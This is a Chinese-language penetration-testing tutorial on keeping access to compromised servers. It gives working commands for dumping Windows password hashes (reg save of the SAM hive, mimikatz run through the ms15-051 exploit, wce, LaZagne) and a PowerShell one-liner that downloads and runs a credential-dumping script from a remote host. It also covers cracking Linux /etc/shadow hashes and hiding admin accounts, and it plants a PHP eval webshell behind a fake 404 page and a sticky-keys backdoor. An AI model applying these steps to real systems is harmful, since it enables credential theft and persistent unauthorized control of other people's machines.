内网渗透之——权限维持(获取windows、linux密码，安装后门程序)

介绍

当攻击者获取服务器权限后，通常会采用一些后门技术来维持自己当前得到的权限，服务器一旦被植入后门，那么攻击者下次进入就方便多了

目的

由于攻击可能被发现，被发现后可能会被将之前拿到的的webshell清除，导致目标丢失，所以需要留下后门来维持权限，达到持续控制的目的

获取系统登陆账号密码

windows获取系统登陆账号密码

windows系统账号密码存储位置：

C:\Windows\System32\config\SAM

windows密码验证原理：
在Windows系统中，对用户账户的安全管理采用了SAM（Security Account Manager，安全账号管理）机制，用户账户以及密码经过Hash加密之后，都保存在SAM数据库中。
SAM数据库保存在C:\WINDOWS\system32\config\SAM文件中，当用户登录系统时，首先就要与SAM文件中存放的账户信息进行对比，验证通过方可登录。系统对SAM文件提供了保护机制，无法将其复制或是删除，也无法直接读取其中的内容。

SAM文件加密方式：
1.LM加密：Windows2003之前，包括win2003系统
2.NTLM加密：Windows 2003之后的系统
LM和NTLM都是基于Hash加密，但是它们的安全机制和安全强度存在差别，LM口令散列的安全性相对比较差。尽管现在已很少有人使用Windows2k之前的老版本系统，但为了保持向后兼容性，默认情况下，系统仍会将用户密码分别用这两种机制加密后存放在SAM数据库里。
区别：
LM加密，密码最多14位，如果口令不足14位，不足的部分用0补齐，把所有的字符转变为大写，然后分成两组，每组7位，分别加密，然后拼接在一起，就是最终的LM散列，本质是DES加密。
NTLM加密，先将用户口令转变为unicode编码，再进行标准MD4单向哈希加密。
LM加密安全性远低于NTLM加密，因为NTLM加密它允许使用更长的密码，允许有大小写的不同，而且也无须把密码分割成更小、更易于被破解的块。所以在一个纯NTLM环境中，应该关闭Lan Manager加密方式

获取SAM文件内容：

获取sam密码方式
1.非免杀版工具：wce.exe，QuarksPwDump.exe，Pwdump7.exe，gethash.exe，mimikatz
2.免杀版：
2.1使用注册表导出hash:
命令

 reg save hklm\sam C:\hash\sam.hive
 reg save hklm\system C:\hash\system.hive

之后将导出的文件下载下来，使用Pwdump7进行破解
2.2导出sam文件
shadow copy （一般用在域控上几万 几十万用户的时候）
2.3其他方式
procdump（或者lsadump）+mimikatz
Powershell+mimikatz
powershell+getpasshash
powershell+其他工具

破解密码
1.在线破解
http://www.objectif-securite.ch/en/ophcrack.php
http://cmd5.com
https://somd5.com
2.本地破解（ 暴力破解）
LM加密： cain
 NTLM加密： ophcrack+彩虹表（彩虹表下载：http://ophcrack.sourceforge.net/tables.php）

注意事项
1.LM只能存储小于等于14个字符的密码hash，如果密码大于14位，windows就自动使用NTLM对其进行加密了，只有对应的NTLM hash可用了，在LM-Password中会以全0显示。
2.一般情况下使用工具导出的hash都有对应的LM和NTLM值，也就是说这个密码位数<=14，这时LM也会有值，除了LM值全为0之外，在老版本中看到LM：aad3b435b51404eeaad3b435b51404ee开头显示的表示密码为空或者位数超过14位
3.在win2K3之前包括win2K3会默认启用LM加密，win2K3之后的系统禁用了LM加密，使用NTLM加密
4.LM方式的加密会存在一个对应的NTLM hash值

QuarksPwDump.exe

1.QuarksPwDump.exe导出本地哈希值，上传QuarksPwDump.exe到目标机C:\Windows\Temp\下

2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令：

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\QuarksPwDump.exe --dump-hash-local"

3.AFFFEBA176210FAD4628F0524BFE1942即为密码，之后拿到cmd5进行破解即可

mimikatz

注意：只能抓取已经登陆用户的密码

利用mimikatz抓取账号明文哈希值原理

从lsass.exe进程中直接获取密码信息进行破解，而且该破解应该并非穷举方式，而是直接根据算法进行反向计算
lsass.exe是系统进程，用于本地安全认证服务

1.利用菜刀上传mimikatz到目标机C:\Windows\Temp\下

2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令：

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit"

wce.exe

1.上传wce.exe到目标机C:\Windows\Temp\下

2.目标机输入    

wce.exe -l 列出密码和凭证

wce.exe -lv 读取sam文件的密码

powershell脚本

windows自带，相当于加强的命令行，可扩展许多脚本，里面大多windows和linux的命令都可以用

扩展Invoke-WCMDump脚本获取哈希值（从Credential Manager导出Windows凭据的Powershell脚本）

1.上传脚本使用使用

修改策略为可加载脚本

Set-ExecutionPolicy unrestricted

加载Invoke-WCMDump脚本

Import-Module .\Invoke-WCMDump.ps1

之后直接输入脚本名Ivoke-WCMDump运行

2.不上传脚本使用

直接使用命令行远程网上访问(地址为可访问的脚本下载地址)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/Invoke-WCMDump.ps1');Invoke-WCMDump"

Lazagne

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。 因为每个软件储存密码的方式不尽相同（明文、API、定制算法、数据库等），所以该工具使用多种方法获取软件密码

1.cmd输入lazagne.exe -h查看说明

2.提取哈希值（all所有  写具体的模块就提取指定模块）

lazagne.exe all

linux、unix获取系统登陆账号密码

系统账号密码存储位置：

密码：/etc/shadow      账号：/etc/passwd

/etc/shadow
例如：root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::

密码为以:分割的第二部分：$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/
第一个$是加密方式，第二个$是盐值，第三个$是加密后的密码
当第一个$为1时，使用md5加密，第一个$为5时，采用SHA256进行加密，第一个$为6时，采用SHA512进行加密

破解密码：
使用John the ripper：

1.使用默认字典直接破解

直接在命令行输入

john --single /etc/shadow

之后输入cat .john/john.pot  即可查看密码

2.自己指定字典破解

新建一个字典，写入密码

输入以下代码：

john --wordlist list /etc/shadow

安装后门程序

目的

攻击者在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者如入无人之境

常见的后门技术

隐藏、克隆账户，隐藏webshell，shift后门，启动项、计划任务，DLL劫持技术，Powershell后门，远控软件

此处以介绍其中几种方式

1.隐藏、克隆账户

原理

创建用户时，结尾加上$，该用户就成为一个隐藏用户

流程：创建一个$结尾的用户za$，查看该用户时，发现没有该用户

将za$用户添加到管理员组

之后在登陆时，就可使用za$用户进行登陆，并且za$用户具有管理员权限

2.利用404页面隐藏webshell(利用403也可以，原理相同)

首先将网页404报错的源代码复制下来

之后在网站目录里新建一个1.php文件，里面写入上面的源码，/1212改为我们自己新建的文件名，并在下面加上一句话木马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /1.php was not found on this server.</p>
</body></html>
<?php @eval($_REQUEST[666])?>

访问1.php就会造成没有此文件的404假象

之后用菜刀连接即可

3.Windows Shift后门

原理：

利用cmd.exe重命名，覆盖原来的粘连键。当我们再次触发粘连键时，相当于运行了cmd.exe

sethc.exe位置：

Windows/System32/sethc.exe

流程：

将cmd.exe 重命名并替换掉shift（粘滞键）(sethc.exe)功能，这样在通过远程桌面登录服务器之后，在输入帐号密码处，按5次shift即可弹出cmd的命令行，权限为system。

4.DLL劫持提权

DLL劫持原理举例：

例如你安装了酷狗播放器，而酷狗播放器在播放音乐的时候必须调用Windows系统下一个标准动态链接库mp3play.dll，那么黑客就自己开发一个恶意的mp3play.dll，然后再找一个MP3歌曲，将这个恶意的DLL和歌曲放在同一个文件夹下，然后打包压缩发给受害者。

如果受害者用右键将这个压缩包中的MP3文件和DLL文件都解压缩到了一个目录中（90%的人会这样干），那么当受害者点击这个MP3文件的时候，酷狗就会先去寻找mp3play.dll进行加载，而微软设计的加载dll顺序是先从默认文件本身的目录进行寻找，于是那个虚假的、恶意的mp3play.dll就先被加载运行了。